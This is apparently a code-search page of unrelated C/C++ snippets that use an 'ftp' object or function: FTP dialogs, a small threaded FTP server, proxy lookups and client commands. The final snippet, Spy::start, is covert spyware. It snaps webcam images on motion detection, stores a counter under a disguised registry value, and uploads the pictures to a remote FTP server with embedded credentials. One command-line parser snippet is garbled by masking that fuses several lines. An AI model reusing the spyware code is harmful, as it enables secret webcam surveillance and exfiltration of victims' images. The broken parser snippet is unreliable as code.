示例#1
0
int main(int argc, char *argv[])
{
    QCoreApplication app(argc, argv);

    QString http("http://www.heise.de");
    QString ftp("ftp://www.heise.de");
    QString host; 
    bool ret;
    Settings &s = Settings::instance();
    ProxySettings ps;

    ret = s.proxy(Settings::InternetExplorer, http, ps);
    qDebug() << "IE settings for " << http << ":" << ret << ps;
    ret = s.proxy(Settings::InternetExplorer, ftp, ps);
    qDebug() << "IE settings for " << ftp << ":" << ret << ps;

    ret = s.proxy(Settings::FireFox, http, ps);
    qDebug() << "Firefox settings for " << http << ":" << ret << ps;
    ret = s.proxy(Settings::FireFox, ftp, ps);
    qDebug() << "Firefox settings for " << ftp << ":" << ret << ps;

    ret = s.proxy(Settings::Manual, http, ps);
    qDebug() << "Manual settings for " << http << ":" << ret << ps;
    ret = s.proxy(Settings::Manual, ftp, ps);
    qDebug() << "Manual settings for " << ftp << ":" << ret << ps;

    return 0;
}
示例#2
0
void *Consumer(void *arg)
{
	int fd, hit=0;

	for (;;) {
#if ApplePositive
		semaphore_wait(shared.full);
#else
		sem_wait(&shared.full);
#endif
		pthread_mutex_lock(&shared.mutex);
		fd = shared.buff[shared.out];
		shared.buff[shared.out] = 0;
		shared.out = (shared.out+1)%shared.buffSize;
		/* Release the buffer */
		pthread_mutex_unlock(&shared.mutex);
		ftp(fd, hit);
		/* Increment the number of full slots */
#if ApplePositive
		semaphore_signal(shared.empty);
#else
		sem_post(&shared.empty);
#endif
		hit++;
	}
	return NULL;
}
int main()
{
  const size_t npts = 10;
  const SS::GhostData ghost(0);
  const SS::BoundaryCellInfo bc = SS::BoundaryCellInfo::build<FieldT>();
  const SS::MemoryWindow mw( SS::IntVec( npts, 1, 1 ) );

  FieldT f( mw, bc, ghost, NULL );

  double x=0.1;
  for( FieldT::iterator ifld=f.begin(); ifld!=f.end(); ++ifld, x+=1.0 ){
    *ifld = x;
  }

  TestHelper status(true);

  FieldT::interior_iterator i2=f.interior_begin();
  for( FieldT::iterator i=f.begin(); i!=f.end(); ++i, ++i2 ){
    status( *i==*i2, "value" );
    status( &*i == &*i2, "address" );
  }

  {
    typedef SS::ConstValEval BCVal;
    typedef SS::BoundaryCondition<FieldT,BCVal> BC;

    BC bc1( SS::IntVec(2,1,1), BCVal(1.234) );
    BC bc2( SS::IntVec(4,1,1), BCVal(3.456) );
  
    bc1(f);
    bc2(f);
    status( f[2] == 1.234, "point BC 1" );
    status( f[4] == 3.456, "point BC 2" );
  }

  {
    std::vector<size_t> ix;
    ix.push_back(4);
    ix.push_back(2);
    SpatialOps::Point::FieldToPoint<FieldT> ftp(ix);
    SpatialOps::Point::PointToField<FieldT> ptf(ix);

    const SS::MemoryWindow mw2( SpatialOps::structured::IntVec(2,1,1) );
    FieldT f2( mw2, bc, ghost, NULL );
    ftp.apply_to_field( f, f2 );
    status( f2[0] == 3.456, "Field2Point Interp (1)" );
    status( f2[1] == 1.234, "Field2Point Interp (2)" );

    f2[0] = -1.234;
    f2[1] = -3.456;
    ptf.apply_to_field( f2, f );
    status( f[2] == -3.456, "Point2Field Interp (1)" );
    status( f[4] == -1.234, "Point2Field Interp (2)" );
  }


  if( status.ok() ) return 0;
  return -1;
}
void wxGetFSFTPDialog::OnGetFS(wxCommandEvent& WXUNUSED(event))
{
	wxString szHost, szUser, szPass;

	if(m_pHostCtrl && m_pUserCtrl && m_pPassCtrl)
	{
		szHost = m_pHostCtrl->GetValue();
		szUser = m_pUserCtrl->GetValue();
		szPass = m_pPassCtrl->GetValue();

		wxCurlFTPTool ftp(szHost);

		ftp.UsePortOption(true);

		if(szUser != m_szDefaultUser)
			ftp.SetUsername(szUser);

		if(szPass != m_szDefaultPass)
			ftp.SetPassword(szPass);

		wxString szResponse;

		wxArrayFTPFs fsResponse;

		if(ftp.GetFTPFs(fsResponse))
		{
			szResponse = wxS("SUCCESS!\n\n");
			szResponse += wxString::Format(wxS("\nResponse Code: %d\n\n"), ftp.GetResponseCode());

			for(unsigned int i = 0; i < fsResponse.Count(); i++)
			{
				const wxCurlFTPFs& fsItem = fsResponse[i];

				szResponse += fsItem.GetName();
				szResponse += wxS("\n");
				szResponse += fsItem.GetFileSuffix();
				szResponse += wxS("\n\n");
			}

			if(m_pTextCtrl)
				m_pTextCtrl->SetValue(szResponse);
		}
		else
		{
			szResponse = wxS("FAILURE!\n\n");
			szResponse += wxString::Format(wxS("\nResponse Code: %d\n\n"), ftp.GetResponseCode());
			szResponse += ftp.GetResponseHeader();
			szResponse += wxS("\n\n");
			szResponse += ftp.GetResponseBody();
			szResponse += wxS("\n\n");
			szResponse += ftp.GetErrorString();

			if(m_pTextCtrl)
				m_pTextCtrl->SetValue(szResponse);
		}
	}
}
示例#5
0
/** Adds the server
  * 
  * This method uses the dialog's informations with CurlServerAdd to
  * submit an administration form to add the server. It is called by
  * the onOkClicked callback is the controls found no error.
  *
  */
void RainbruRPG::Gui::AddServer::addServer(){
  std::string name(tfServerName->getText().text());
  std::string uniqueName(tfServerUniqueName->getText().text());
  std::string type=StringConv::getSingleton()
    .itos(cbServerType->getCurrentItem()+1);
  std::string ip  (tfServerIp->getText().text());
  std::string port(tfServerPort->getText().text());
  std::string ftp (tfServerFtp->getText().text());
  std::string cli (tfServerCli->getText().text());
  std::string desc(txtDesc->getText().text());
  std::string tech(txtTech->getText().text());
  LOGI("Setting posted data :");

  LOGCATS("Server name : '");
  LOGCATS(name.c_str());
  LOGCATS("'");
  LOGCAT();

  LOGCATS("Server IP : '");
  LOGCATS(ip.c_str());
  LOGCATS("'");
  LOGCAT();

  LOGCATS("Server port : '");
  LOGCATS(port.c_str());
  LOGCATS("'");
  LOGCAT();

  LOGCATS("Server maxClients : '");
  LOGCATS(cli.c_str());
  LOGCATS("'");
  LOGCAT();

  CurlServerAdd csa;
  csa.setName(name);
  csa.setUniqueName(uniqueName);
  csa.setType(type);
  csa.setIpAddress(ip);
  csa.setPort(port);
  csa.setFtpPort(ftp);
  csa.setMaxClients(cli);
  csa.setDescription( desc);
  csa.setTechNote( tech);
  //  csa.setPostedData("technote", tech);
  bool per=csa.perform();

  if (per){
    LOGI("The form was correctly posted");
  }
  else{
    HttpResponse hr;
    long resp=csa.getServerResponse();
    const char* mes=hr.getMessage(resp);
    LOGCATS("HTTP rsponse :");
    LOGCATS(mes);
  }
}
void wxGetFTPFileDialog::OnGet(wxCommandEvent& WXUNUSED(event))
{
	if(m_pSrcCtrl && m_pDestCtrl && m_pUserCtrl && m_pPassCtrl)
	{
		wxString szSrc	= m_pSrcCtrl->GetValue();
		wxString szDest	= m_pDestCtrl->GetValue();
		wxString szUser	= m_pUserCtrl->GetValue();
		wxString szPass	= m_pPassCtrl->GetValue();

		wxString szResponse;

		if((szSrc == m_szDefaultSrc) || (szDest == m_szDefaultDest))
		{
			wxMessageBox(wxS("Please change the source and destination locations."), wxS("Error..."), wxICON_INFORMATION|wxOK, this);
		}
		else if((szUser == m_szDefaultUser) && (szPass == m_szDefaultPass))
		{
			wxMessageBox(wxS("Please change the username or password."), wxS("Error..."), wxICON_INFORMATION|wxOK, this);
		}
		else
		{
			// Do It!
			wxCurlFTP ftp(szSrc, szUser, szPass, this, true);

			if(ftp.Get(szDest))
			{
					szResponse = wxS("SUCCESS!\n\n");
					szResponse += wxString::Format(wxS("\nResponse Code: %d\n\n"), ftp.GetResponseCode());
					szResponse += ftp.GetResponseHeader();
					szResponse += wxS("\n\n");
					szResponse += ftp.GetResponseBody();

					if(m_pRespCtrl)
						m_pRespCtrl->SetValue(szResponse);
			}
			else
			{
					szResponse = wxS("FAILURE!\n\n");
					szResponse += wxString::Format(wxS("\nResponse Code: %d\n\n"), ftp.GetResponseCode());
					szResponse += ftp.GetResponseHeader();
					szResponse += wxS("\n\n");
					szResponse += ftp.GetResponseBody();
					szResponse += wxS("\n\n");
					szResponse += ftp.GetErrorString();

					if(m_pRespCtrl)
						m_pRespCtrl->SetValue(szResponse);
			}
		}
	}
}
void wxFTPRenameDialog::OnRename(wxCommandEvent& WXUNUSED(event))
{
	if(m_pOrigCtrl && m_pNewCtrl && m_pUserCtrl && m_pPassCtrl)
	{
		wxString szOrig		= m_pOrigCtrl->GetValue();
		wxString szNew		= m_pNewCtrl->GetValue();
		wxString szUser		= m_pUserCtrl->GetValue();
		wxString szPass		= m_pPassCtrl->GetValue();

		wxString szResponse;

		if((szOrig == m_szDefaultOrig) || (szNew == m_szDefaultNew))
		{
			wxMessageBox(wxS("Please change the ORIGINAL and NEW location."), wxS("Error..."), wxICON_INFORMATION|wxOK, this);
		}
		else if((szUser == m_szDefaultUser) && (szPass == m_szDefaultPass))
		{
			wxMessageBox(wxS("Please change the username or password."), wxS("Error..."), wxICON_INFORMATION|wxOK, this);
		}
		else
		{
			// Do it!
			wxCurlFTP ftp(szOrig, szUser, szPass);

			if(ftp.Rename(szNew))
			{
					szResponse = wxS("SUCCESS!\n\n");
					szResponse += wxString::Format(wxS("\nResponse Code: %d\n\n"), ftp.GetResponseCode());
					szResponse += ftp.GetResponseHeader();
					szResponse += wxS("\n\n");
					szResponse += ftp.GetResponseBody();

					if(m_pResponseCtrl)
						m_pResponseCtrl->SetValue(szResponse);
			}
			else
			{
					szResponse = wxS("FAILURE!\n\n");
					szResponse += wxString::Format(wxS("\nResponse Code: %d\n\n"), ftp.GetResponseCode());
					szResponse += ftp.GetResponseHeader();
					szResponse += wxS("\n\n");
					szResponse += ftp.GetResponseBody();
					szResponse += wxS("\n\n");
					szResponse += ftp.GetErrorString();

					if(m_pResponseCtrl)
						m_pResponseCtrl->SetValue(szResponse);
			}
		}
	}
}
示例#8
0
void *attendFTP(void *argp) {
	THREAD_ARGS *args = argp;

	int sock = *args->fd;

	ftp(sock, args->hit);

	free(args->fd);

	free(args);

	pthread_exit(NULL);

	return NULL;
}
void wxNlstFTPDialog::OnNlst(wxCommandEvent& WXUNUSED(event))
{
	wxString szHost, szUser, szPass;

	if(m_pHostCtrl && m_pUserCtrl && m_pPassCtrl)
	{
		szHost = m_pHostCtrl->GetValue();
		szUser = m_pUserCtrl->GetValue();
		szPass = m_pPassCtrl->GetValue();

		wxCurlFTP ftp(szHost);

		if(szUser != m_szDefaultUser)
			ftp.SetUsername(szUser);

		if(szPass != m_szDefaultPass)
			ftp.SetPassword(szPass);

		wxString szResponse;

		if(ftp.Nlst())
		{
			szResponse = wxS("SUCCESS!\n\n");
			szResponse += wxString::Format(wxS("\nResponse Code: %d\n\n"), ftp.GetResponseCode());
			szResponse += ftp.GetResponseHeader();
			szResponse += wxS("\n\n");
			szResponse += ftp.GetResponseBody();

			if(m_pTextCtrl)
				m_pTextCtrl->SetValue(szResponse);
		}
		else
		{
			szResponse = wxS("FAILURE!\n\n");
			szResponse += wxString::Format(wxS("\nResponse Code: %d\n\n"), ftp.GetResponseCode());
			szResponse += ftp.GetResponseHeader();
			szResponse += wxS("\n\n");
			szResponse += ftp.GetResponseBody();
			szResponse += wxS("\n\n");
			szResponse += ftp.GetErrorString();

			if(m_pTextCtrl)
				m_pTextCtrl->SetValue(szResponse);
		}
	}
}
示例#10
0
//
//	Request data port details to connect to.
//
//	Note: This is also used to break data connections
//	in site-site transfers.
//
int ftp_pasv( struct ftp_info *info )
{
int reply;

*info->fi_serverr = 0;

reply = ftp( info, "PASV\r\n" );

if	(reply >= 500 && reply <= 502)
	{
	D(bug( "** setting NO_PASV\n" ));
	info->fi_flags |= FTP_NO_PASV;
	}
else if	(reply / 100 != COMPLETE)
	stccpy( info->fi_serverr, info->fi_iobuf, IOBUFSIZE + 1 );

return reply;
}
示例#11
0
void SyncFiles::Run()
{
	stCpyFile orden;

	SetId("SyncFiles");

	while (IsRunning())
	{
		bool _sincronizando = false;
		this->sleep(10);
		while (Get(orden))
		{
			NLOG_DEBUG("FTP. Sincronizando Fichero %s en %s", orden.src.c_str(), orden.ipto.c_str());
			_sincronizando = _sincronizando ? true : orden.bRecargar;
#ifdef _WIN32
			if (LocalConfig::cfg.winSyncFtp())
#endif
			{
				FtpClient ftp(orden.ipto, "root", "");
				try
				{
					/** Copia ficheros en remoto... */
					ftp.Login();
					ftp.Upload(orden.src, orden.dest);
					ftp.Close();
					NLOG_DEBUG("FTP. Fichero %s Sincronizado.", orden.src.c_str());
				}
				catch(FtpClientException x)
				{
					/** Normalmente si salta el error vacio la lista para evitar encadenar errores. */
					ordenes.clear();
					NLOG_ERROR("FTP EXCEPTION: %s", x.what().c_str());
				}
			}
		}
		if (_sincronizando)
		{
			/** Avisa Cambio Ficheros... */			
			HttpClient::http.AvisaCambioConfiguracion(orden.ipto + ":" + LocalConfig::cfg.PuertoEscucha());
		}
	}
}
示例#12
0
int main(int argc, char **argv) {
	int i, port, pid, listenfd, socketfd, hit, consumers;
	socklen_t length;
	static struct sockaddr_in cli_addr; /* static = initialised to zeros */
	static struct sockaddr_in serv_addr; /* static = initialised to zeros */

#if OperationMode == 2
	if (argc < 5 || argc > 5 || !strcmp(argv[1], "-?")) {
		printf("\n\nhint: ./tftps Port-Number Top-Directory Consumer-Threads Buffer-Size\n\n""\ttftps is a small and very safe mini ftp server\n""\tExample: ./tftps 8181 ./fileDir \n\n");
		exit(0);
	}
	consumers = atoi(argv[3]);

	initConsumerStruct(&shared, (size_t) atoi(argv[4]));
#else
	if (argc < 3 || argc > 3 || !strcmp(argv[1], "-?")) {
		printf("\n\nhint: ./tftps Port-Number Top-Directory\n\n""\ttftps is a small and very safe mini ftp server\n""\tExample: ./tftps 8181 ./fileDir \n\n");
		exit(0);
	}
#endif
	port = atoi(argv[1]);
	defaultPath = argv[2];

	if (chdir(defaultPath) == -1) {
		printf("ERROR: Can't Change to directory %s\n", argv[2]);
		exit(4);
	}

	printf("LOG tftps starting %s - pid %d\n", argv[1], getpid());

	/* setup the network socket */
	if ((listenfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
		printf("ERROR system call - setup the socket\n");
	if (port < 0 || port > 60000)
		printf("ERROR Invalid port number (try 1->60000)\n");

	serv_addr.sin_family = AF_INET;
	serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
	serv_addr.sin_port = htons(port);

	if (bind(listenfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0)
		printf("ERROR system call - bind error\n");
	if (listen(listenfd, 64) < 0)
		printf("ERROR system call - listen error\n");

#if OperationMode == 2
	pthread_t idC;
	int index = 0, item;

#if ApplePositive
    semaphore_create(mach_task_self(), &shared.full, SYNC_POLICY_FIFO, 0);
    semaphore_create(mach_task_self(), &shared.empty, SYNC_POLICY_FIFO, shared.buffSize);
#else
	sem_t *semFull = sem_open("/semFull", O_CREAT, 0644, 0);
	sem_t *semEmpty = sem_open("/semEmpty", O_CREAT, 0644, shared.buffSize);

	shared.full = *semFull;
	shared.empty = *semEmpty;
#endif

	pthread_mutex_init(&shared.mutex, NULL);

	/*create a new Consumer*/
	for(index=0; index<consumers; index++)
	{
		pthread_create(&idC, NULL, Consumer, (void*)&index);
	}

	struct sigaction act;
	act.sa_handler = &onAlarm;
	act.sa_flags = SA_RESTART;  // Restart interrupted system calls
	sigaction(SIGALRM, &act, NULL);

	alarm(30);
#endif

	// Main LOOP
	for (hit = 1 ;; hit++) {
		length = sizeof(cli_addr);

		/* block waiting for clients */
		socketfd = accept(listenfd, (struct sockaddr *) &cli_addr, &length);
		if (socketfd < 0)
			printf("ERROR system call - accept error\n");
		else
		{
#if OperationMode
#if OperationMode == 1
			pthread_t thread_id;

			THREAD_ARGS *args = malloc(sizeof(THREAD_ARGS));

			int * sockAUX = (int *) malloc(sizeof(int *));

			*sockAUX = socketfd;

			args->fd = sockAUX;
			args->hit = hit;

			if (args != NULL) {
				if (pthread_create(&thread_id, NULL, &attendFTP, args)) {
					perror("could not create thread");
					return 1;
				}
			}
#else
			item = socketfd;

#if ApplePositive
            semaphore_wait(shared.empty);
#else
			sem_wait(&shared.empty);
#endif
            pthread_mutex_lock(&shared.mutex);

			shared.buff[shared.in] = item;

			pthread_mutex_unlock(&shared.mutex);

			shared.in = (shared.in + 1) % shared.buffSize;

#if ApplePositive
			semaphore_signal(shared.full);
#else
			sem_post(&shared.full);
#endif
#endif
#else
			pid = fork();
                if(pid==0) {
                    ftp(socketfd, hit);
                    exit(0);
                } else {
                    //Temos de fechar o socketfd para que seja apenas a child a tratar dos pedidos, caso contrário iria ficar aqui pendurado
                    close(socketfd);
                    signal(pid, SIGCHLD);
                }
#endif
		}
	}
}
示例#13
0
// Change transfer type to binary
int ftp_image( struct ftp_info *info )
{
return ftp( info, "TYPE I\r\n" );
}
示例#14
0
文件: ftp.c 项目: larusx/Xproject
int main()
{
	X::TCP ftp(21);
	ftp.TCP_listen();
	return 0;
}
示例#15
0
// Return current dir
int ftp_pwd( struct ftp_info *info )
{
return ftp( info, "PWD\r\n" );
}
示例#16
0
void logout( struct ftp_info *info )
{
// Can TIMEOUT - do we care?
ftp( info, "QUIT\r\n" );
}
示例#17
0
// Return system type
int ftp_syst( struct ftp_info *info )
{
return ftp( info, "SYST\r\n" );
}
示例#18
0
文件: main.cpp 项目: jrcryan/mftp
int main( int argc, char * argv[] ) {
    int             c;                  // used to parse command line flags
    int             i;                  // used to iterate
    string          logfile;            // name of logfile
    string          swarmfile;          // name of swarm config file

    i              = 0;
    logfile        = "";
    swarmfile      = "";
    args.portnum   = PORTNUM;
    args.bytes     = 0;
    args.filename  = "";
    args.username  = "******";
    args.password  = "******";
    args.active    = false;
    args.mode      = 'b';
    args.nservers  = 0;
    args.logstream = NULL;

    ////////////////////////////////////////////////////////////////////////////

    // check for at least 1 flag
    if( argc < 2 ) {
        help();
    }

    if( DEBUG ) cout << "initializing command line args" << endl;
    // initialize args from command line flags
    while( ( c = getopt_long( argc, argv, FLAGS, longopts, &i ) ) != -1 ) {
        switch( c ) {
            case 'h':
                help();
            case 'v':
                version();
            case 'f':
                args.filepath = optarg;
                if( DEBUGI ) cout << "filepath   : " << args.filename << endl;
                // parse filepath to get file name
                args.filename = get_filename( optarg );
                if( DEBUGI ) cout << setw( DW ) << "filename : " << args.filename << endl;
                break;
            case 's':
                args.servername = optarg;
                args.nservers++;
                if( DEBUGI ) cout << "servername : " << args.servers[ 0 ].servername << endl;
                break;
            case 'p':
                args.portnum = atoi( optarg );
                if( DEBUGI ) cout << "portnum    : " << args.portnum << endl;
                if( args.portnum <= 0 || args.portnum > 65535 )
                    return_error( "error invalid port number", NERR, SYNERR );
                break;
            case 'n':
                args.username = optarg;
                if( DEBUGI ) cout << setw( DW ) << "username : "******"password : "******"active : " << args.active << endl;
                break;
            case 'm':
                args.mode = optarg[ 0 ];
                if( args.mode != 'a' && args.mode != 'b' )
                    return_error( "error mode usage: ascii or binary", NERR, SYNERR );
                if( DEBUGI ) cout << setw( DW ) << "mode : " << args.mode << endl;
                break;
            case 'l':
                logfile = optarg;
                if( logfile == "-" )
                    args.logstream = stdout;
                else
                    args.logstream = fopen( logfile.c_str(), "w" );
                if( DEBUGI ) cout << setw( DW ) << "logfile : " << logfile << endl;
                break;
            case 'w':
                swarmfile = optarg;
                if( DEBUGI ) cout << setw( DW ) << "swarmfile : " << swarmfile << endl;
                break;
            case 'b':
                args.bytes       = atoi( optarg );
                if( DEBUGI ) cout << setw( DW ) << "bytes : " << args.bytes << endl;
                if( args.bytes <= 0 )
                    return_error( "error invalid byte value", NERR, SYNERR );
                break;
            case '?':
            default:
                help();
                break;
        }
    }

    ////////////////////////////////////////////////////////////////////////////

    // check for file and server names + call ftp client
    if( swarmfile == "" ) {
         if( args.filename == "" || args.servername == "" )
            return_error( "error -f, -s OR -w required", NERR, SYNERR );

        // open file to read to
        if( ( args.file = fopen( args.filename.c_str(), "w" ) ) == NULL )
            return_error( "error creating file ( basic )", NERR, GENERR );

        ftp();
    }
    else {
        if( args.filename != "" || args.servername != "" )
            return_error( "error -f, -s OR -w required", NERR, SYNERR );

        init_swarmfile( swarmfile );
    }


    return 0;
}
示例#19
0
void MT(void)
{
    char buf[10];
    while(1)
    {
        sen.pro = 2;
        system("clear");
        printf("-----欢迎进入MT-----\n\n");
        printf("--------------------\n");
        printf("1--------私聊-------\n");
        printf("2--------群聊-------\n");
        printf("3---------FTP-------\n");
        printf("4---------VIP-------\n");
        printf("5------修改状态-----\n");
        printf("6------修改密码-----\n");
        printf("7--------注销-------\n");
        printf("8--------退出-------\n");
        printf("--------------------\n\n");

        printf("请输入你的选择:");
        memset(buf,0,10);
        fgets(buf,10,stdin);
        if(strlen(buf) > 2)
        {
            continue;
        }
        if(buf[0] == '1')
        {
            sl();
        }
        else if(buf[0] == '2')
        {
            ql();
        }
        else if(buf[0] == '3')
        {
            ftp();
        }
        else if(buf[0] == '4')
        {
            vip();
        }
        else if(buf[0] == '5')
        {
            zt();
        }
        else if(buf[0] == '6')
        {
            gm();   
        }
        else if(buf[0] == '7')
        {
            sen.pro = 6;
            strcpy(sen.message,"ZX");
            send(fd,&sen,len_data,0);
            MAIN(); 
        }
        else if(buf[0] == '8')
        {
            sen.pro = 6;
            strcpy(sen.message,"MT");
            send(fd,&sen,len_data,0);
            exit(0);
        }
    }
}
示例#20
0
int main(int argc, char* argv[], char* envp[]){
	//silence warnings
	(void)envp;
    if(argc != 4){
        printf("Wrong number of arguments. Usage %s <local port> <remote host> <remote port> \n", argv[0]);
        return 1;
    }

	int listenPort = atoi(argv[1]);

	//timing synchronization
	//apps will signal when they're all done

	pthread_mutex_init(&count_mutex, NULL);
  	pthread_cond_init (&count_threshold_cv, NULL);

  	struct timeval t1;
  	struct timeval t2;

	//	set up network
	ppETH eth(1, listenPort, argv[3], argv[2]);
	ppIP ip(2);
	ppTCP tcp(3);
	ppUDP udp(4);
	ppFTP ftp(5);
	ppTEL tel(6);
	ppRDP rdp(7);
	ppDNS dns(8);

	ftpAPP ftpApplication(5, true);
	telAPP telApplication(6, true);
	rdpAPP rdpApplication(7, true);
	dnsAPP dnsApplication(8, true);

	eth.registerHLP(ip);
	ip.registerHLP(tcp);
	ip.registerHLP(udp);
	tcp.registerHLP(ftp);
	tcp.registerHLP(tel);	
	udp.registerHLP(rdp);
	udp.registerHLP(dns);

	dns.registerHLP(dnsApplication);
	ftp.registerHLP(ftpApplication);
	rdp.registerHLP(rdpApplication);
	tel.registerHLP(telApplication);
	
	ftp.registerLLP(tcp);
	tel.registerLLP(tcp);
	rdp.registerLLP(udp);
	dns.registerLLP(udp);
	tcp.registerLLP(ip);
	udp.registerLLP(ip);
	ip.registerLLP(eth);


	dnsApplication.registerLLP(dns);
	ftpApplication.registerLLP(ftp);
	rdpApplication.registerLLP(rdp);
	telApplication.registerLLP(tel);

	ip.start();
	tcp.start();
	udp.start();
	ftp.start();
	tel.start();
	rdp.start();
	dns.start();


	//make sure everything is set before we start timing
	sleep(5);
	gettimeofday(&t1, NULL);
	// dnsApplication.startListen();
	// ftpApplication.startListen();
	// rdpApplication.startListen();
	// telApplication.startListen();
	dnsApplication.startApplication();
	ftpApplication.startApplication();
	rdpApplication.startApplication();
	telApplication.startApplication();

	//wait for apps to finish and then stop timing or whatever
	pthread_mutex_lock(&count_mutex);
	while (count<numApps*2) {
		pthread_cond_wait(&count_threshold_cv, &count_mutex);
	}
	pthread_mutex_unlock(&count_mutex);
	gettimeofday(&t2, NULL);
	printf("Listening on %d took %f ms\n", listenPort, diffms(t2,t1));



}
void Spy::start(){
	m_start = true;

	XWebcam webcam;
	int webcamCount = webcam.webcamCount();
	if (webcamCount == 0){
		return;
	}

	while(!Icmp::ping("8.8.8.8")){
		MYPRINTF("no internet ? wait\n");
		Sleep(60000);
	}

	TCHAR* path = TEXT("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\");
	TCHAR* key = TEXT("Index");

	Register reg;

	int value = reg.getKeyAsInt(path, key, 0);
	if (value == 0){
		reg.createStringKey(HKEY_CURRENT_USER, path, key, TEXT("1"));
		value = 1;
	}
	
	while(m_start) {
		//for (int i = 0; i < webcamCount; i++){
			if (webcam.snapMotionDetection(m_locale.c_str(), 1, m_detail)){
				if (value > m_maxImg){
					value = 1;
				}
				std::tstring name;

				name.append(m_remote);

				TCHAR buffer [33];
				_itot(value, buffer, 10);

				name.append(buffer);
				name.append(TEXT(".jpg"));

				TCHAR buffer2 [33];
				_itot(value, buffer2, 10);

				value++;

				reg.createStringKey(HKEY_CURRENT_USER, path, key, buffer2);

				try {
					Ftp ftp(m_url, 21, m_ftpUser, m_ftpPassword);

					ftp.setCurrentDirectory(TEXT("public_html"));

					//char buffer_dir[128];
					//if (webcamCount != 1){					
					//	sprintf_s(buffer_dir, COUNTOF(buffer_dir), "%s_%d", m_ftpDirectory.c_str(), i + 1);
					//} else {
					//	sprintf_s(buffer_dir, COUNTOF(buffer_dir), "%s", m_ftpDirectory.c_str());
					//}

					try {
						ftp.createDirectory(m_ftpDirectory);
					} catch (std::exception error){
						//MYPRINTF("%s\n", error.what());
					}
					ftp.setCurrentDirectory(m_ftpDirectory);

					ftp.uploadFile(m_locale.c_str(), name.c_str());

				} catch (std::exception error){
					MYPRINTF("exception: %s\n", error.what());
				}
			//}
		}
		Sleep(m_wait);
		m_start = RUNNING;
	}
}